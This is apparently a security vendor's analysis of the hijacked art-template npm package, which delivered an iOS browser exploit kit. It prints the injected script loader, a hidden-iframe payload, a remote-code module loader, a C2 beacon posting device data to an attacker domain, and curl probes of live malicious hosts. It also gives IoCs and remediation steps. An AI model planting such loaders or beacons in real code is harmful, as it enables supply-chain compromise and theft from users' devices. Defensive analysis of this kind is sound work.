art-template npm Hijack Delivers iOS Browser Exploit Kit
Table of Contents
TL;DR
The npm package art-template, a JavaScript template engine with ~26,000 weekly downloads, has been compromised through maintainer account takeover. Versions 4.13.3 through 4.13.6 contain unauthorized code appended to the browser bundle (template-web.js) that loads external JavaScript from third-party domains. The original project author confirmed the compromise on May 20, 2026.
What we verified:
- Unauthorized code in
template-web.jsinjects external<script>tags into any page using the browser bundle - The external domain (
v3.jiathis[.]com) serves a multi-stage payload when the request includes aRefererheader (as browser<script>tags do) - The payload injects Baidu Analytics tracking on all visitors and targets iPhone users with a hidden iframe chain leading to an obfuscated JavaScript payload
- The final payload is the Coruna exploit kit (606KB across 14 remote modules), an iOS browser exploit framework exploiting CVE-2024-23222 (JSC type confusion, CVSS 8.8) among 23 vulnerabilities across iOS 13.0 through 17.2.1. It chains WebAssembly type confusion through JIT heap spray, ASLR bypass via dyld shared cache parsing, to ARM64 native shellcode (31KB, 80 functions, 26 syscalls). The final-stage implant (PLASMAGRID) targets cryptocurrency wallets
- The exploit kit fingerprints the victim’s browser (WebRTC, MathML, touch, Safari), classifies devices into five categories, and serves device-specific exploit chains targeting arm64e
- IP/OS telemetry syncs to a C2 at
l1ewsu3yjkqeroy[.]xyz(Cloudflare-fronted) every 10 seconds - Three different npm accounts published these versions, none of them the original author (
aui) - The original author’s GitHub account (
aui) was renamed togoofychrisin late November 2024
What we cannot verify:
- Whether any end user was impacted
- The exact mechanism of the npm account takeover
Indicators of Compromise (IoC):
[email protected](SHA256:273206e2973df6ba7474aa66693797c98dcf26b794da4c3e863ab8d8c694868d)[email protected](SHA256:5b5fe5d92808a732d0d44246cd706295cc739ed7f4dcae19112df666bc5d4f7d)[email protected](SHA256:101afde88ff8b5c02fd341eda55022a39203088c2ff11dcb73214911cf5afb77)- Stage-2 payload:
v3.jiathis[.]com/code/jia.js/v3.jiathis[.]com/code/art.js(SHA256:d8e3973a0b3c5359d1f53a22491b56bdd31dee13a51c01c7126bc6694584512f) - Stage-4 loader:
49554fde7424c31c.js(SHA256:f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c) - Exploit modules served from:
utaq.cfww[.]shop/gooll/*.js(14 modules, 606KB total) - C2 infrastructure:
utaq.cfww[.]shop(180.178.50.158, AS45753 Netsec Limited, Hong Kong) - C2 sync endpoint:
l1ewsu3yjkqeroy[.]xyz/api/ip-sync/sync(Cloudflare-fronted:172.67.141.14,104.21.40.254) - Baidu Analytics tracker:
hm.baidu[.]com/hm.js?7d86eb847ecfd3c972fa457a6abaa0da - External script domains:
v3.jiathis[.]com,git.youzzjizz[.]com - npm publishers:
v4v5qc(eb8org@gmail[.]com),npmpacketmaintainmember7(npmpacketmaintainmember7@proton[.]me) - Last known clean version:
4.13.2(published November 13, 2018 byaui)
Analysis
Package Overview and Account History
art-template is a JavaScript template engine popular in the Chinese developer community. The original author, tangbin (GitHub: aui, npm: aui), published the last legitimate version, 4.13.2, in November 2018.
Someone renamed the GitHub account aui to goofychris in late November 2024. GitHub’s API shows the goofychris user “created” on November 27, 2024, but the repository goofychris/art-template retains its original creation date of June 3, 2012. This confirms an account rename, not a new fork. The old aui URLs redirect.
// GitHub API: /users/goofychris{ "login": "goofychris", "id": 189879714, "created_at": "2024-11-27T15:06:07Z" }
// GitHub API: /repos/goofychris/art-template{ "full_name": "goofychris/art-template", "fork": false, "created_at": "2012-06-03T03:37:57Z" }Two README commits followed on December 7, 2024, authored by goofychris (not the original 糖饼 display name), updating URLs from aui to goofychris. We do not know if the original author renamed the account themselves or if someone compromised it. Either way, the rename preceded the npm compromise by three months.
On npm, the picture is different. The original aui account is no longer a maintainer of art-template or any of its companion packages (express-art-template, art-template-loader, koa-art-template). Someone replaced it with daughtrymom ([email protected]) across all four packages. The art-template package also lists npmpacketmaintainmember7 ([email protected]).
// npm registry: current maintainers{ "maintainers": [ ]}Neither daughtrymom nor npmpacketmaintainmember7 has any history with the art-template project before 2025.
Publisher Trail
The npm _npmUser field records who actually ran npm publish for each version. Three different accounts published the four unauthorized versions:
| Version | Date | Publisher | |
|---|---|---|---|
| 4.13.2 | Nov 13, 2018 | aui | [email protected] |
| 4.13.3 | Mar 12, 2025 | v4v5qc | [email protected] |
| 4.13.4 | Mar 14, 2025 | v4v5qc | [email protected] |
| 4.13.5 | May 19, 2026 | npmpacketmaintainmember7 | [email protected] |
| 4.13.6 | May 20, 2026 | npmpacketmaintainmember7 | [email protected] |
The v4v5qc account is no longer a maintainer and has no other packages on npm. It published the March 2025 versions using Node 18.19.0 and npm 9.2.0. The npmpacketmaintainmember7 account published the May 2026 versions using Node 24.15.0 and npm 11.12.1. Both are throwaway accounts.
The two-account rotation could mean one attacker cycling through disposable accounts, or multiple actors with access to the same compromised package.
Timeline of Unauthorized Versions
| Version | Date | Payload |
|---|---|---|
| 4.13.3 | March 12, 2025 | Obfuscated String.fromCharCode injection, stripped package (6 files) |
| 4.13.4 | March 14, 2025 | No injection detected, full package restored |
| 4.13.5 | May 19, 2026 | Plaintext script injection: v3.jiathis[.]com/code/jia.js?uid=artemplate |
| 4.13.6 | May 20, 2026 | Plaintext script injection: v3.jiathis[.]com/code/art.js |
Fourteen months separate the two phases. v4v5qc handled the first; npmpacketmaintainmember7 handled the second.
Execution Trigger
The injected code targets only the browser bundle (lib/template-web.js). The Node.js entry point (index.js) loads lib/index.js, which does not import template-web.js. The browser bundle is a self-contained UMD module used when art-template is loaded via a <script> tag or bundled for client-side rendering.
The package.json has no install hooks (preinstall, postinstall). The scripts field is unchanged from 4.13.2. The injection affects browser-side consumers only, not server-side Node.js usage.
Differential Analysis
Comparing 4.13.5 against the last clean version (4.13.2):
"homepage": "http://aui.github.com/art-template/", "version": "4.13.2", "homepage": "http://goofychris.github.com/art-template/", "version": "4.13.5", ... "url": "git://github.com/aui/art-template.git" "url": "git://github.com/goofychris/art-template.git"File-level diff shows modifications only in:
lib/template-web.js: script injection appendedlib/compile/runtime.js: GitHub URL updated fromauitogoofychris, minor code changelib/compile/adapter/rule.native.js: one-line code change (comment escaping), trailing newlinepackage.json: version bump and URL changesREADME.md: allauiGitHub URLs changed togoofychris
The non-template-web.js changes are cosmetic, reflecting the GitHub account rename.
Injected Code: Versions 4.13.5 and 4.13.6
Both versions append a loadScript function after the legitimate template-web.js bundle:
// lib/template-web.js (appended after legitimate UMD bundle)function loadScript(url) { const script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.head.appendChild(script);}loadScript('https://v3.jiathis.com/code/jia.js?uid=artemplate');Version 4.13.6 is identical except for the URL:
// lib/template-web.js (appended after legitimate UMD bundle)loadScript('https://v3.jiathis.com/code/art.js');The code creates a <script> element and appends it to document.head, loading JavaScript from v3.jiathis[.]com. The uid=artemplate parameter in 4.13.5 ties the request to this specific compromised package.
JiaThis was a legitimate Chinese social sharing widget service founded in 2009 in Beijing. The original domain registration (through Alibaba Cloud) expired around April 2025. The domain is now registered through GoDaddy with Domains By Proxy privacy and routed through Cloudflare. The homepage shows a generic Cloudflare maintenance page with a placeholder footer (© 2026 YourService Infrastructure), not the original JiaThis service.
Payload Analysis
The external scripts on v3.jiathis[.]com use server-side filtering: a bare curl request returns a single whitespace byte, but adding a Referer header (as a browser <script> tag sends automatically) returns a 3,906-byte JavaScript payload. Both jia.js and art.js serve identical content.
# No Referer: empty response$ curl -s "https://v3.jiathis.com/code/jia.js?uid=artemplate" | wc -c1
# With Referer: full payload$ curl -s -H "Referer: https://example.com/" \ "https://v3.jiathis.com/code/jia.js?uid=artemplate" | wc -c3906The art.js variant pads the response with ~3,500 bytes of blank lines before the code, pushing the payload off-screen in browser dev tools.
Stage 2: Tracking and iPhone targeting. The payload has two components:
// Stage 2: v3.jiathis.com/code/jia.js (with Referer header)
// Component 1: Baidu Analytics on ALL visitorsvar _hmt = _hmt || [];(function () { var hm = document.createElement('script'); hm.src = 'https://hm.baidu.com/hm.js?7d86eb847ecfd3c972fa457a6abaa0da'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(hm, s);})();
// Component 2: iPhone-only hidden iframe(function () { var _i = /iPhone/i.test(navigator.userAgent); if (!_i) return;
var _u = atob('aHR0cHM6Ly91dGFxLmNmd3cuc2hvcC8='); // Decodes to: https://utaq.cfww.shop/ var s = document.createElement('div'); s.style.display = 'none'; var r = s.attachShadow({ mode: 'closed' });
var f = document.createElement('iframe'); f.src = _u; Object.assign(f.style, { width: '0px', height: '0px', border: 'none', position: 'fixed', top: '-1000px', left: '-1000px', });
var m = function () { r.appendChild(f); document.documentElement.appendChild(s); };
if (document.readyState === 'complete') { m(); } else { window.addEventListener('load', m); }})();The first component loads Baidu Analytics (hm.baidu[.]com) with tracker ID 7d86eb847ecfd3c972fa457a6abaa0da on every visitor, regardless of device. This gives the attacker traffic analytics across all compromised sites.
The second component runs only on iPhones. It base64-decodes hxxps://utaq.cfww[.]shop/, creates a zero-pixel iframe, and hides it inside a closed Shadow DOM root. The closed shadow root prevents document.querySelector from finding the iframe, and the display: none parent div hides it from visual inspection.
Stage 3: Nested iframe chain. The iframe destination (utaq.cfww[.]shop, IP 180.178.50.158, AS45753 Netsec Limited, Hong Kong) serves a landing page that nests another hidden iframe:
<!-- https://utaq.cfww.shop/ --><iframe src="/gooll/gooll.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"> </iframe>That page loads a 50KB obfuscated JavaScript file (49554fde7424c31c.js).
Stage 4: Modular malware loader. The 50KB script (49554fde7424c31c.js, SHA256: f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c) is a malware framework with three components: a custom module system, a device fingerprinting engine, and a C2 sync loop.
Module system. The script registers a global object (obChTK) that acts as a module loader. It bundles two pre-loaded modules as base64-encoded code blocks in a dictionary keyed by SHA1 hashes:
57620206d62079baad0e57e6d9ec93120c0f5247: a BigInt/byte-manipulation runtime library (8,309 bytes decoded)14669ca3b1519ba2a8f40be287f646d4d7593eb0: the device fingerprinting engine (12,475 bytes decoded)
The loader also has a remote fetch capability (ZKvD0e). For modules not bundled locally, it generates a URL by computing SHA256("cecd08aa6ff548c2" + moduleKey) (truncated to 40 chars), appends .js, and fetches it from the server. The downloaded code is executed via new Function(). This design means the final payloads exist only on the attacker’s server and cannot be extracted through static analysis.
// Deobfuscated module loader logic (reconstructed from obChTK)function loadModule(key) { if (key in cache) return cache[key]; if (key in MM) { // pre-bundled module cache[key] = new Function(atob(MM[key]))(); return cache[key]; }}
async function fetchModule(key) { const hash = SHA256('cecd08aa6ff548c2' + key).substring(0, 40); const url = baseURL + hash + '.js'; // baseURL = server path const code = await xhr('GET', url); cache[key] = new Function(code)(); return cache[key];}Device fingerprinting. The second pre-bundled module runs browser fingerprinting before any payload is delivered:
navigator.platformcheck forMacIntelTouchEventsupport detection (distinguishes mobile from desktop)- WebRTC capability probing:
mozRTCPeerConnection,RTCPeerConnection,webkitRTCPeerConnection,RTCIceGatherer - MathML rendering test: creates a hidden
<math>element withmathcolor="blue"and checks computed style forrgb(0, 0, 255). Headless browsers and analysis sandboxes often fail this check - Safari-specific detection and
MobileStore/1.0User-Agent matching
Based on these signals, the engine classifies the victim into one of five device categories (stored as boolean flags: wF8NpI, LJ1EuL, CpDW_T, IqxL92, or a fallback). Each category triggers a different remote module fetch. The script references 14 unique SHA1 module hashes across these branches:
# Remote modules fetched per device type (via ZKvD0e)Branch 1 (wF8NpI): 477db22c... → .ul(), then 29b874a9... → .ga()Branch 2 (LJ1EuL): 477db22c... → .ul(), then 9db8a84a... → .ga()Branch 3 (CpDW_T): 171a7da1... → .ga()Branch 4 (IqxL92): 91b278dd... → .ga()Branch 5 (fallback): b586c882... → .ga()The framework also enforces a threshold gate: a counter value (xn) must exceed 130,000 before any payload executes. At 160,000+, an additional function (Hn) runs. This delay-based gating helps evade short-lived analysis sandboxes.
C2 sync loop. After fingerprinting, the payload enters a persistent reporting loop:
// Deobfuscated C2 sync (reconstructed from XOR-decoded string literals)const channelCode = 'CHMK6IG08F42496C22';const ip = await fetch('https://ipv4.icanhazip.com', { method: 'GET', headers: { Accept: 'text/plain' } });const deviceVersion = detectOS(navigator.userAgent);// Returns: "IOS 17.4", "Android 14.0", "Windows 10.0", "macOS 15.1", or "Linux"
await fetch('https://l1ewsu3yjkqeroy.xyz/api/ip-sync/sync', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ channelCode, ip, deviceVersion }),});// Repeats every 10 seconds via setIntervalThe C2 domain l1ewsu3yjkqeroy[.]xyz resolves to Cloudflare IPs (172.67.141.14, 104.21.40.254), a different infrastructure provider than the iframe host utaq.cfww[.]shop (180.178.50.158, AS45753 Hong Kong). The Cloudflare fronting makes the C2 traffic blend with legitimate HTTPS requests.
Stage 5: iOS browser exploit kit (Coruna). The 14 remote modules are still live on utaq.cfww[.]shop/gooll/ at time of writing. We downloaded and analyzed all of them (606KB total). They form a complete exploit kit targeting Safari on iPhone and iPad (arm64e).
The architecture matches the Coruna exploit kit documented by Google Threat Intelligence Group in 2025. Coruna contains 5 full iOS exploit chains covering iOS 13.0 through 17.2.1, using 23 total exploits. The primary WebKit RCE for the most recent chain (codename “cassowary”, targeting iOS 16.6 through 17.2.1) is CVE-2024-23222, a type confusion in JavaScriptCore (CVSS 8.8, patched in iOS 17.3). Apple confirmed it was exploited in the wild. CISA added it to the Known Exploited Vulnerabilities catalog.
The fingerprints that identify this as Coruna:
- Module URL derivation via
SHA256(cookie + ID)[:40]with.min.jsextension (our instance uses passwordcecd08aa6ff548c2) - XOR-encoded string literals using
[].map(x => String.fromCharCode(x ^ key)).join("")with per-string keys - XOR-encoded integer constants (
(1111970405 ^ 1111966034)) - 5 device-specific exploit chains with browser fingerprinting
- Hidden iframe injection as delivery mechanism
- Binary payloads masquerading as
.min.jsfiles
Google TAG attributed Coruna’s use to three groups: a commercial surveillance vendor, Russian espionage group UNC6353, and Chinese financially-motivated threat actor UNC6691. The Baidu Analytics tracking, JiaThis domain, and Chinese-language infrastructure in this instance are consistent with UNC6691’s profile. Coruna’s final-stage implant (PLASMAGRID) targets cryptocurrency wallets including MetaMask, Trust Wallet, Phantom, and Exodus.
XOR-decoded string literals inside each module confirm the exploit stages:
Vulnerability trigger and JIT exploitation:
ea3da0cf(18KB): Instantiates malformed WebAssembly modules withexternreftype confusion. The Wasm bytecode is embedded as base64 (magic bytes\x00asmconfirmed). This triggers a bug in JavaScriptCore57cb8c64(24KB): Sprays the JIT heap withnew Uint32Array(10000000), exploits NaN-boxing confusion ((() => {return -NaN})()), and corrupts array bounds to create out-of-bounds read/write. Contains a crafted function that manipulates array elements with specific double-precision floats to overflow bounds checkse3b6ba10(24KB): Buildsaddrof/fakeobjprimitives usingBigUint64Arrayfor 64-bit address read/write
ASLR bypass:
d11d34e4(42KB): Leaks JSC internal pointers using tagged values (0xfffe000000022334,0xfffe000000055432, etc.) and SVGfeConvolveMatrixfilter elements for WebKit heap layout manipulation. ReferencesHeaderSeed,EncryptedBlocks,HeaderKey, andCPUTypefields from a custom binary formatba712ef6(9KB): Parses thedyldshared cache (string literaldyld_v1 arm64econfirms the target architecture). Reads__TEXT,__LINKEDIT, and__AUTH_CONSTsegment offsets to resolve framework base addresses
Native code execution (5 device-specific chains):
477db22c(28KB): Used in branches 1 and 2. ReferencesJavaScriptCore.framework,_jitCagePtr,__ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerENS_20JITCompilationEffortE(JSC JIT compilation),_malloc,__platform_memmove,UIKitCore.framework. This module bypasses the JIT cage and injects executable code171a7da1(37KB): Branch 3. ReferencesCoreFoundation.framework,CFRunLoopObserverCreateWithHandler,ActionKit.framework91b278dd(37KB): Branch 4. ReferencesIOKit.framework,mprotect,dlsym,libSystem.B.dylibb586c882(36KB): Branch 5 (fallback). ReferencesWebCore.framework,xsltFreeTransformContext,libReverseProxyDevice.dylib
Post-exploitation payload:
7f809f32(137KB) andc03c6f66(164KB): Two payload variants. Both embed 31KB of compiled ARM64 machine code (confirmed by instruction decoding: 80 function prologues, 100RETinstructions). The shellcode makes 26 direct syscalls viaSVC #0x80:
# Syscalls extracted from ARM64 shellcode (SVC #0x80 with x16 register)ptrace (26) # PT_DENY_ATTACH: block debugger attachmentmmap (197) # Allocate memory pagesmprotect (74) # Mark pages executablemunmap (73) # Release memorywrite (4) # Write to file descriptorsopen (5) # Open filesclose (6) # Close file descriptorsgetpid (20) # Get process IDsysctl (202) # Query system info / detect debuggingcsops (169) # Code signing operations
# Mach kernel traps (negative syscall numbers)host_self_trap (-28) # Get host portmach_msg_trap (-26) # Mach IPC messagingThe shellcode also references Apple frameworks including SpringBoard.framework, PassKitCore.framework, HomeSharing.framework, and CoreML.framework. The ptrace(PT_DENY_ATTACH) call prevents runtime debugging, and the csops call interacts with code signing enforcement.
Two additional helper modules (29b874a9, 20KB and 9db8a84a, 15KB) contain WasmJitCageCallPrimitive and CFRunLoopObserverCreateWithHandler references, providing variant-specific exploit gadgets for the different branches.
Attack flow summary:
art-template browser bundle (template-web.js) └─ loadScript(v3.jiathis.com/code/jia.js) [requires Referer header] ├─ Baidu Analytics tracker [ALL visitors] └─ iPhone UA check └─ Hidden iframe → utaq.cfww.shop [closed Shadow DOM] └─ /gooll/gooll.html └─ 49554fde7424c31c.js [50KB loader] ├─ Browser fingerprint [WebRTC, MathML, Touch] ├─ Device classification [5 categories] ├─ Threshold gate [counter > 130K] ├─ C2 sync every 10s [l1ewsu3yjkqeroy.xyz] └─ Fetch exploit chain [14 modules, 606KB] ├─ Wasm type confusion [ea3da0cf] ├─ JIT heap spray [57cb8c64] ├─ addrof/fakeobj [e3b6ba10] ├─ dyld cache parse [ba712ef6] ├─ JIT cage bypass [477db22c] └─ ARM64 shellcode [7f809f32/c03c6f66] ├─ ptrace(PT_DENY_ATTACH) ├─ mmap + mprotect (RWX) ├─ host_self_trap └─ SpringBoard, PassKitCore...Injected Code: Version 4.13.3
The earliest unauthorized version used String.fromCharCode to obfuscate the target URL:
// lib/template-web.js (appended after legitimate UMD bundle)function scriptMagician() { var script = document.createElement('script'); script.src = String.fromCharCode.apply( null, [ 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 116, 46, 121, 111, 117, 122, 122, 106, 105, 122, 122, 46, 99, 111, 109, 47, 103, 105, 116, 46, 106, 115, ] ); script.onload = function () { if (typeof initBaiduShare === 'function') { initBaiduShare(); } }; script.onerror = function () {}; document.head.appendChild(script);}scriptMagician();The char codes decode to hxxps://git.youzzjizz[.]com/git.js. The initBaiduShare callback mimics the API of Baidu Share, another Chinese social sharing service, making the injected code look like a legitimate integration on casual inspection. The use of String.fromCharCode hides the URL from simple string-based scanning.
The publisher botched this version. The package contained only 6 files, missing most of the lib/ directory. The index.js entry point requires lib/index.js and lib/extension.js, neither of which exists. Any Node.js consumer would hit a MODULE_NOT_FOUND error. Only the browser bundle (template-web.js) would function if loaded directly via a <script> tag.
Related Ecosystem Packages
The daughtrymom account is now the sole maintainer of three companion packages:
express-art-template(last published byauiin 2018, ~5K weekly downloads)art-template-loader(last published byauiin 2017)koa-art-template(last published byauiin 2017)
None have received new versions, but maintainer control has changed. The original aui npm account no longer appears on any of them. Anyone who controls the daughtrymom account can publish new versions of all three at any time.
Conclusion
Pin art-template to version 4.13.2 or earlier. If your application uses the browser bundle, audit whether any version from 4.13.3 onward reached production. Check CDN caches and build artifacts for references to v3.jiathis[.]com or git.youzzjizz[.]com.
This is not a tracking pixel or ad injection. The compromised package delivers the Coruna exploit kit, an iOS browser exploit framework with 5 chains and 23 exploits covering iOS 13.0 through 17.2.1, including CVE-2024-23222 (JavaScriptCore type confusion, CVSS 8.8). Any iPhone user visiting a page that loads the compromised browser bundle can be targeted with native code execution, no interaction required. The final-stage implant (PLASMAGRID) targets cryptocurrency wallets. The exploit infrastructure (14 remote modules on utaq.cfww[.]shop, C2 at l1ewsu3yjkqeroy[.]xyz) was still live at time of analysis.
The root cause: someone gained control of the original author’s GitHub and npm accounts, renamed the GitHub user, swapped out the npm maintainers, and used throwaway accounts to publish. The exact mechanism (credential compromise, social engineering, account recovery abuse) is not public.
References
- malware
- npm
- supply-chain
- ios-exploit
- browser-exploit
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious durabletask on PyPI: Multi-Cloud Credential Stealer with Worm Capabilities
Three compromised versions of the Microsoft durabletask Python SDK (1.4.1, 1.4.2, 1.4.3) were published to PyPI, each downloading a stage-2 payload that steals credentials from AWS, Azure, GCP,...

Compromised node-ipc on npm: Credential Stealer via DNS Exfiltration
Analysis of compromised node-ipc versions 9.1.6, 9.2.3, and 12.0.1 on npm: a maintainer account takeover injects an 80KB obfuscated credential stealer that targets 100+ sensitive files (SSH keys,...

Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised
A compromised npm maintainer account published 637 malicious versions across 317 packages including size-sensor, echarts-for-react, timeago.js, and hundreds of @antv scoped packages, affecting 15M+...

Malicious npm Packages Backdoor Claude Code Sessions
Five typosquatting npm packages ship a hidden ELF binary that fires on install and re-runs via Claude Code's SessionStart hook on every developer session. C2 is 207.90.194.2:443.

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
